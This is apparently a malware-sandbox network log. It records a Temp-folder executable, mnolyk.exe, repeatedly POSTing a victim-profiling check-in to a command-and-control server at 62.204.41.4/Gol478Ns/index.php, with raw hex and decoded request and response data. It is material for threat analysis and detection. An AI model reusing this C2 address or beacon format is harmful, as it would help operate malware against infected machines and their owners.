Feb 7, 2023 23:09:43.344389915 CET	714	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:43.409266949 CET	714	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.7	49700	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:03.031560898 CET	110	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:03.096266031 CET	110	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.7	49755	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:16.092891932 CET	175	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:16.156837940 CET	175	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
600	192.168.2.7	50295	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:43.610527039 CET	715	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:43.672183037 CET	715	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
601	192.168.2.7	50296	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:43.846360922 CET	716	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:43.909090042 CET	716	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
602	192.168.2.7	50297	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:44.097127914 CET	717	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:44.163500071 CET	717	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
603	192.168.2.7	50298	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:44.339808941 CET	718	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:44.403513908 CET	718	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
604	192.168.2.7	50299	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:44.598784924 CET	719	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:44.664676905 CET	719	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
605	192.168.2.7	50300	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:44.841607094 CET	720	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:44.907110929 CET	720	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
606	192.168.2.7	50301	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:45.082072020 CET	721	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:45.146536112 CET	721	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
607	192.168.2.7	50302	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:45.325484991 CET	722	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:45.388547897 CET	722	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
608	192.168.2.7	50303	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:45.572465897 CET	723	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:45.634674072 CET	723	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
609	192.168.2.7	50304	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:45.806701899 CET	724	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:45.867981911 CET	724	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.7	49756	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:16.330636978 CET	176	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:16.396106958 CET	176	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
610	192.168.2.7	50305	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:46.051156044 CET	725	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:46.116750956 CET	725	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
611	192.168.2.7	50306	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:46.316046000 CET	726	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:46.379158020 CET	726	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
612	192.168.2.7	50307	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:46.569596052 CET	727	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:46.632174015 CET	727	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
613	192.168.2.7	50308	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:46.817929983 CET	728	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:46.883155107 CET	728	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
614	192.168.2.7	50309	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:47.063196898 CET	729	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:47.130172968 CET	729	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
615	192.168.2.7	50310	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:47.315519094 CET	730	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:47.380167007 CET	730	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
616	192.168.2.7	50311	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:47.562395096 CET	731	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:47.626136065 CET	731	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
617	192.168.2.7	50312	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:47.795938015 CET	732	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
